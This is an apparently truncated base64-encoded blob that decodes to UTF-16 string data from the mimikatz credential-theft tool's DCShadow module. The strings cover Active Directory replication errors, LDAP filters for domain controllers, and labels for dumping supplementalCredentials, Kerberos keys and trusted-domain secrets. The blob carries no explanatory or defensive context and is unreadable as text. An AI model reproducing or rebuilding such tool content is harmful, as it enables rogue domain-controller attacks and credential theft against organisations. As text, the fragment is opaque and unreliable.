G8AcgB5ADoACgAAAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5ACAASQBEACAAIAAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUgBlAGwAYQB0AGkAdgBlACAASQBEACAAIAAgADoAIAAlAHUACgAAAAAACgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAAAAqACAAJQB3AFoAIAAqAAoAAAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAEIAQwBLAFUAUABLAEUAWQBfAAAAQgBDAEsAVQBQAEsARQBZAF8AUAAgAFMAZQBjAHIAZQB0AAAAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAIABTAGUAYwByAGUAdAAAAEwAaQBuAGsAIAB0AG8AIABrAGUAeQAgAHcAaQB0AGgAIABHAFUASQBEADoAIAAAACAAKABuAG8AdAAgAGEAbgAgAG8AYgBqAGUAYwB0ACAARwBVAEkARAApAAoAAAAAAHUAbgBpAGMAbwBkAGUAUAB3AGQAAAAAAGMAdQByAHIAZQBuAHQAVgBhAGwAdQBlAAAAAABkAEIAQwBTAFAAdwBkAAAAaQBuAGkAdABpAGEAbABBAHUAdABoAEkAbgBjAG8AbQBpAG4AZwAAAGwAbQBQAHcAZABIAGkAcwB0AG8AcgB5AAAAAABuAHQAUAB3AGQASABpAHMAdABvAHIAeQAAAAAAcAByAGkAbwByAFYAYQBsAHUAZQAAAAAAcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAAAAdAByAHUAcwB0AEEAdQB0AGgASQBuAGMAbwBtAGkAbgBnAAAAdAByAHUAcwB0AEEAdQB0AGgATwB1AHQAZwBvAGkAbgBnAAAAbQB1AGwAdABpAHAAbABlAAAAAABvAGIAagBlAGMAdAAAAAAAYQB0AHQAcgBpAGIAdQB0AGUAAAB2AGEAbAB1AGUAAAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBVAGkAZAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHUAbgBhAGIAbABlACAAcABhAHIAcwBlACAAcgBlAHAAbABPAHIAaQBnAGkAbgBhAHQAaQBuAGcAVQBpAGQACgAAAHIAZQBwAGwATwByAGkAZwBpAG4AYQB0AGkAbgBnAFUAcwBuAAAAAAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIABwAGEAcgBzAGUAIAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAoAAAAAAGQAeQBuAGEAbQBpAGMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABzAGUAdAAgAHYAYQBsAHUAZQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABhAGQAZAAgAGEAdAB0AHIAaQBiAHUAdABlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAbwBiAGoAZQBjAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAG8AYgBqAGUAYwB0ACAAbwByACAAYQB0AHQAcgBpAGIAdQB0AGUAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHYAYQBsAHUAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABhAHQAdAByAGkAYgB1AHQAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG0AaQBzAHMAaQBuAGcACgAAAAAAWwAlAHUAXQAgAE8AYgBqAGUAYwB0ACAARABOADoAIAAlAHMACgAAACAAIABbACUAdQBdACAAQQB0AHQAcgBpAGIAdQB0AGUAOgAgACUAcwAKAAAAAAAAACAAIABBAHQAdAByAGkAYgB1AHQAZQAgAGkAcwAgAGUAbQBwAHQAeQAgACgAZQB4AGkAcwB0AGkAbgBnACAAdgBhAGwAdQBlACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBtAG8AdgBlAGQAKQAKAAAAAAAgACAAIAAgAFsAJQB1AF0AIAAlAHMACgAAAAAAaQBuAHYAbwBjAGEAdABpAG8AbgBJAGQAAAAAAG0AcwBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoAAAAQwBOAD0AUwBpAHQAZQBzACwAJQBzAAAAAAAAACgAJgAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AHMAZQByAHYAZQByACkAKABkAE4AUwBIAG8AcwB0AE4AYQBtAGUAPQAlAHMAKQApAAAAKABuAGEAbQBlAD0ATgBUAEQAUwAgAFMAZQB0AHQAaQBuAGcAcwApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABOAG8AIAAlAHMAIABhAHQAdAByAGkAYgB1AHQAZQAgAGYAbwByACAAJQBzACAAcwBlAHIAdgBlAHIACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAG8AYgBqAGUAYwB0AEcAVQBJAEQAXwBpAG4AdgBvAGMAYQB0AGkAbwBuAEcAVQBJAEQAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARABDAD0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwBwAGEAcgBlAG4AdABHAHUAaQBkAF8AZgByAG8AbQBfAGQAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHAAYQByAHMAZQAgAEQATgAgACgAJQBzACkACgAAACgAbwBiAGoAZQBjAHQAYwBsAGEAcwBzAD0AKgApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHAAYQByAGUAbgB0AEcAdQBpAGQAXwBmAHIAbwBtAF8AZABuACAAOwAgAFAAYQByAGUAbgB0ACAARABOACAAKAAlAHMAKQAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAHIAZQBwAGwAUAByAG8AcABlAHIAdAB5AE0AZQB0AGEARABhAHQAYQAAAAAAcABhAHIAZQBuAHQARwBVAEkARAAAAAAAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADQALgA0ADEANwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAcgBvAG0AIABTAEMASABFAE0AQQBfAEQARQBGAEEAVQBMAFQAXwBQAFIARQBGAEkAWABfAFQAQQBCAEwARQAgAGYAbwByACAATwBpAGQAOgAgACUAUwAsACAAdgBlAHIAcwBpAG8AbgAoACUAdQApACAAYwBhAG4AIABiAGUAIABwAHIAbwBiAGwAZQBtAGEAdABpAGMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAUgBlAHAAbAAgAEIAbABvAGIAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIAAxACAAKAAlAHUAKQAKAAAAAABPAGIAagBlAGMAdAAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAKAAAAAABEAE4AOgAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAJQBzAAoAAABXAEkATgAyADAAMAAwAAAAVwBJAE4AMgAwADAAMwAgAGkAbgB0AGUAcgBpAG0AAABXAEkATgAyADAAMAAzAAAAVwBJAE4AMgAwADAAOAAAAFcASQBOADIAMAAwADgAUgAyAAAAVwBJAE4AMgAwADEAMgAAAFcASQBOADIAMAAxADIAUgAyAAAAVwBJAE4AMgAwADEANgAAAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAAAAAcwBjAGgAZQBtAGEATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAAGQAcwBTAGUAcgB2AGkAYwBlAE4AYQBtAGUAAABkAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEYAdQBuAGMAdABpAG8AbgBhAGwAaQB0AHkAAABoAGkAZwBoAGUAcwB0AEMAbwBtAG0AaQB0AHQAZQBkAFUAUwBOAAAARABvAG0AYQBpAG4AOgAgACAAIAAgACAAIAAgACAAIAAlAHMACgAAAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AOgAgACAAJQBzAAoAAABTAGMAaABlAG0AYQA6ACAAIAAgACAAIAAgACAAIAAgACUAcwAKAAAALABDAE4APQAAAAAAZABzAFMAZQByAHYAaQBjAGUATgBhAG0AZQA6ACAAIAAlAHMACgAAAAAAAABkAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEYAdQBuAGMAdABpAG8AbgBhAGwAaQB0AHkAOgAgACUAdQAgACgAIAAlAHMAIAApAAoAAABoAGkAZwBoAGUAcwB0AEMAbwBtAG0AaQB0AHQAZQBkAFUAUwBOADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZABvAG0AYQBpAG4AaQBuAGYAbwBfAHIAbwBvAHQARABzAGUAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGQAbwBtAGEAaQBuAGkAbgBmAG8AXwByAG8AbwB0AEQAcwBlACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAcwBjAGgAZQBtAGEASQBuAGYAbwAAAAAAcwBjAGgAZQBtAGEAIABzAGkAZwBuAGEAdAB1AHIAZQA6AAAAZABpAHMAdABpAG4AZwB1AGkAcwBoAGUAZABOAGEAbQBlAAAAZABOAFMASABvAHMAdABOAGEAbQBlAAAAKAAmACgAfAAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AHUAcwBlAHIAKQAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AGMAbwBtAHAAdQB0AGUAcgApACkAKABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAPQAlAHMAJAApACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGQAbwBtAGEAaQBuAGkAbgBmAG8AXwBjAG8AbQBwAHUAdABlAHIAIAA7ACAAYwBvAG0AcAB1AHQAZQByACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABBAEQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAcgBlAG0AbwB2AGUATABpAG4AZwBlAHIAaQBuAGcATwBiAGoAZQBjAHQAAAAlAHMAOgAlAHMAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBsAGkAbgBnAGUAcgBpAG4AZwBfAHQAcgBpAGcAZwBlAHIAIAA7ACAAcgBlAG0AbwB2AGUATABpAG4AZwBlAHIAaQBuAGcATwBiAGoAZQBjAHQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABDAE4APQBOAFQARABTACAAUwBlAHQAdABpAG4AZwBzACwAQwBOAD0AJQBzACUAcwAAAAAAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQBuAFQARABTAEQAUwBBACkAAAAgACAAKgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbABpAG4AZwBlAHIAaQBuAGcAXwBwAHIAbwBwAGEAZwBhAHQAZQAgADsAIAB0AHIAaQBnAGcAZQByACAAbABpAG4AZwBlAHIAaQBuAGcAIABmAG8AcgAgACUAcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBsAGkAbgBnAGUAcgBpAG4AZwBfAHAAcgBvAHAAYQBnAGEAdABlACAAOwAgAGwAZABhAHAAXwBjAG8AbgBuAGUAYwB0ACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAGF0dHJpYnV0ZUlEAGF0dHJpYnV0ZVN5bnRheABzeXN0ZW1GbGFncwAoACYAKABvAGIAagBlAGMAdABjAGwAYQBzAHMAPQBhAHQAdAByAGkAYgB1AHQAZQBTAGMAaABlAG0AYQApACgAbABEAEEAUABEAGkAcwBwAGwAYQB5AE4AYQBtAGUAPQAlAHMAKQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AYQB0AHQAcgBpAGIAdQB0AGUAIAA7ACAAbwBpAGQAIABpAHMAIABpAG4AdgBhAGwAaQBkACAAJQBTAAoAAAAAACAARgBMAEEARwBfAEEAVABUAFIAXwBOAE8AVABfAFIARQBQAEwASQBDAEEAVABFAEQACgAAAAAAIABGAEwAQQBHAF8AQQBUAFQAUgBfAEkAUwBfAEMATwBOAFMAVABSAFUAQwBUAEUARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBhAHQAdAByAGkAYgB1AHQAZQAgADsAIABhAHQAdAByAGkAYgB1AHQAZQAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGEAdAB0AHIAaQBiAHUAdABlACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwBpAGQAIAA7ACAATABvAGMAYQBsAEEAbABsAG8AYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwBpAGQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAG8AYwB0AGUAdABfAHMAdAByAGkAbgBnACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBvAGMAdABlAHQAXwBzAHQAcgBpAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEgAZQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAGUAYwB1AHIAaQB0AHkAXwBkAGUAcwBjAHIAaQBwAHQAbwByACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBlAGMAdQByAGkAdAB5AEQAZQBzAGMAcgBpAHAAdABvAHIAVABvAFMAZQBjAHUAcgBpAHQAeQBEAGUAcwBjAHIAaQBwAHQAbwByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AZABhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEYAaQBsAGUAVABpAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUAByAGkAbQBhAHIAeQA6AAAAAABQAGEAYwBrAGEAZwBlAHMAAAAAAAAAAAAlAFsAXgA6AF0AOgAlAFsAXgA6AF0AOgAlAHMAAAAAAFMAYQBsAHQAIAAgADoAIAAlAHcAWgAKAEEARQBTADIANQA2ADoAIAAAAAAAKABwAGEAcwBzAHcAbwByAGQAIAAtACAAJQB3AFoAKQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEgAZQB4AEIAdQBmAGYAZQByACgAQQBFAFMAMgA1ADYAKQAKAAAAAABBAEUAUwAxADIAOAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAQgB1AGYAZgBlAHIAKABBAEUAUwAxADIAOAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABFAHIAcgBvAHIAIAB3AGgAZQBuACAAcABhAHIAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAA6ACAAJQBzACAAKAByAGUAdAA6ACAAJQBpACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAATgBVAEwATAAgAGEAcgBnAAoAAAAKAD0APQAgAEUAbgBjAG8AZABlAHIAIABoAGUAbABwAGUAcgAgAGYAbwByACAAcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzACAAPQA9AAoACgAAAFAAcgBpAG0AYQByAHkAOgBLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlACAAOwAgAFMAeQBuAHQAYQB4ACAAZgBvAHIAIABhAHQAdAByAGkAYgB1AHQAZQAgACUAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkACAAKAAwAHgAJQB4ACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGUAbgBjAG8AZABlACAAJQBzACAAKAAlAHMAKQAAAAAAZwBvAHYAZQByAG4AcwBJAEQAAAAoACYAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQBjAGwAYQBzAHMAUwBjAGgAZQBtAGEAKQAoAGwARABBAFAARABpAHMAcABsAGEAeQBOAGEAbQBlAD0AJQBzACkAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGcAZQB0AF8AcwBjAGgAZQBtAGEAXwBvAGkAZABfAHYAYQBsAHUAZQBzACAAOwAgAG8AYgBqAGUAYwB0AEMAbABhAHMAcwAgACUAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAAQQBEAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBnAGUAdABfAHMAYwBoAGUAbQBhAF8AbwBpAGQAXwB2AGEAbAB1AGUAcwAgADsAIABvAGIAagBlAGMAdABDAGwAYQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEEARAAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAACoAKgAgAEEAdAB0AHIAaQBiAHUAdABlAHMAIABjAGgAZQBjAGsAaQBuAGcAIAAqACoACgAKAAAAIwAlAHUAOgAgACUAcwAKAAAAAAAqACoAIABPAGIAagBlAGMAdABzACAAKgAqAAoACgAAAE8AYgBqAGUAYwB0ACAAdwBpAGwAbAAgAGIAZQAgAGEAZABkAGUAZAAKAAAARAB5AG4AYQBtAGkAYwAgAG8AYgBqAGUAYwB0AAoAAABPAGIAagBlAGMAdABHAFUASQBEAAAAAAAgACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAlAHMACgAAACAAIAB3AGkAdABoACAAUABhAHIAZQBuAHQAIABHAFUASQBEACAAJQBzAAoAAAAAAE8AYgBqAGUAYwB0AFMAaQBkAAAAIAAgAHcAaQB0AGgAIABTAEkARAAgACUAcwAKAAAAAAAgACAAJQBzACAAKAAlAFMALQAlAHgAIAByAGUAdgAgACUAdQApADoAIAAKAAAAAAAgACAAIAAgACUAcwAKACAAIAAgACAAKAAAAAAAIAAgACAAIAB1AHMAbgBUAGkAbQBlAEMAaABhAG4AZwBlAGQAOgAAACAAIAAgACAAdQBzAG4ATwByAGkAZwBpAG4AYQB0AGkAbgBnADoAJQB1AAoAAAAAACAAIAAgACAAdQBpAGQATwByAGkAZwBpAG4AYQB0AGkAbgBnAEQ